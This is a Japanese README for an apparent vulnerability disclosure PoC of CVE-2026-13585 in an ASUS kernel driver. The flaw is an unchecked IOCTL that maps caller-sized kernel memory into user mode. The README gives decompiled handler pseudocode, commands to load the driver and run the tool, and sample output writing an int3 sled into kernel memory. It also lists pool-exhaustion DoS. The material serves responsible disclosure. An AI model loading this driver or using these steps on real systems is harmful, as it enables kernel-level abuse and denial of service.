
CVE-2026-13585 の PoC
ASUS の bsitf.sys(AsusBSItf.sys としても配布)カーネルドライバは、攻撃者が制御するサイズの物理的に連続したカーネルメモリを割り当て、それを呼び出しプロセスのアドレス空間に読み取り/書き込みフルアクセスでマッピングし、ユーザーモード仮想アドレスと物理アドレスの両方を呼び出し元に返す IOCTL 0x222808 を公開しています。
このデバイスを開くには管理者権限が必要であり、これは管理者からカーネルへの権限昇格となります。BYOVD(Bring Your Own Vulnerable Driver)シナリオでは、既に管理者権限を持つ攻撃者(ソーシャルエンジニアリングや別のエクスプロイトによる)が、この正規に署名されたドライバをロードすることで、カーネルエクスプロイトを必要とせずに任意のカーネルメモリアクセスを得ることができます。
| バージョン | ファイル名 | パッケージ | プールタイプ |
|---|---|---|---|
| 3.0.10.0 | bsitf.sys | ASUS Business Manager / AbmSvcPackage | NonPagedPool(実行可能) |
| 3.1.10.0 | AsusBSItf.sys | ASUS SCI / AsusSoftwareManager | NonPagedPoolNx |
| 3.1.25.0 | AsusBSItf.sys | ASUS SCI / AsusSoftwareManager | NonPagedPoolNx |
すべてのバージョンで、デバイス \Device\bsitf とシンボリックリンク \DosDevices\bsitf が作成されます。
マッピングされるバッファは新たなカーネルプール割り当てであり、任意のカーネルアドレスではありません。呼び出し元はその内容を制御できますが、位置は制御できません。これにより、真の任意カーネルR/Wと比較してエクスプロイトの可能性が制限されます。
NonPagedPool が枯渇し、BSOD を引き起こします。サイズ上限や割り当て制限は適用されていません。NonPagedPool(実行可能)です。シェルコードをユーザーモードからマッピングされたバッファに書き込むことができますが、カーネルの実行をバッファアドレスにリダイレクトするには別の脆弱性が必要です。v3.1.x バージョン(NonPagedPoolNx)では、バッファは実行不可能であり、実質的な影響は DoS と物理アドレスの開示に限定されます。
ディスパッチハンドラ内の IOCTL 0x222808 は、入力検証なしで次の処理を実行します。
alloc_size = *(DWORD *)Irp->AssociatedIrp.SystemBuffer; // user-controlled
kernel_va = MmAllocateContiguousMemory(alloc_size, 0xffffffff);
mdl = IoAllocateMdl(kernel_va, alloc_size, FALSE, FALSE, NULL);
MmBuildMdlForNonPagedPool(mdl);
user_va = MmMapLockedPages(mdl, UserMode);
output[0] = user_va; // usermode virtual address
output[1] = physical_addr; // physical address of allocation
割り当てサイズ、未処理の割り当て数、または入力検証に関するチェックはありません。デバイスを開くには管理者権限が必要ですが、ハンドルを取得した後は IOCTL に制限はありません。
cargo build --release
sc create bsitf binPath= "C:\path\to\bsitf.sys" type= kernel
sc start bsitf
# default: 0x1000 (4KB) allocation
cargo run --release
# custom size (hex)
cargo run --release -- 10000
[*] bsitf.sys kernel memory mapping PoC
[*] target alloc size: 0x1000
[+] device handle acquired
[*] allocating 0x1000 bytes of kernel memory via IOCTL 0x222808
[+] kernel allocation succeeded:
usermode VA: 0x000001D856F90000
physical addr: 0x00000000BF6CB000
[*] original contents (first 16 bytes):
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
[*] writing 0xCC pattern (int3 sled)...
[+] readback: usermode R/W CONFIRMED
[*] freeing kernel mapping via IOCTL 0x22280C
[+] mapping freed successfully
Windows 11 24H2 でテスト済み(管理者権限が必要)。
NonPagedPoolNx を使用する| 日付 | イベント |
|---|---|
| 2026-04-06 | 自動分析による脆弱性の発見 |
| 2026-04-06 | Windows 11 24H2 での PoC 確認 |
| 2026-04-06 | ASUS PSIRT への報告の提出 |
\Device\bsitf、シンボリックリンク: \DosDevices\bsitfFUN_140001070この概念実証は、認可されたセキュリティ研究および責任ある開示の目的のみで提供されています。あなたが所有していない、または明示的なテスト許可を得ていないシステムに対しては使用しないでください。